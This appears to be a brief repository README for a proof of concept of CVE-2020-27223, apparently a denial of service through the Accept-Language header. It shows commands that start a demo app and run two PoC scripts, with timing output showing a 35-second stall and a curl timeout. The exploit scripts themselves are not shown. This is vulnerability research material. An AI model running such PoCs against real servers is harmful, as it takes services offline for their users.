motikan2010/cve-2020-27223تطبيق ثغرة CVE-2020-27223 وإثبات المفهوم
$ mvn spring-boot:run
$ ./poc/cve-2020-27223-poc1.sh
{"time_ns":"58,557","accept_language":"aab"}
real 0m0.093s 🐇
user 0m0.006s
sys 0m0.007s
{"time_ns":"18,461,763,438","accept_language":"ahn"}
real 0m35.339s 🐢
user 0m0.006s
sys 0m0.006s
$ ./poc/cve-2020-27223-poc1.sh
{"time_ns":"36,675","accept_language":"aab"}
real 0m0.023s 🐇
user 0m0.005s
sys 0m0.007s
{"time_ns":"1,265,004","accept_language":"ahn"}
real 0m0.024s 🐇
user 0m0.006s
sys 0m0.006s
$ ./poc/cve-2020-27223-poc2.sh
curl: (28) Operation timed out after 120000 milliseconds with 0 bytes received
real 2m0.025s
user 0m0.016s
sys 0m0.009s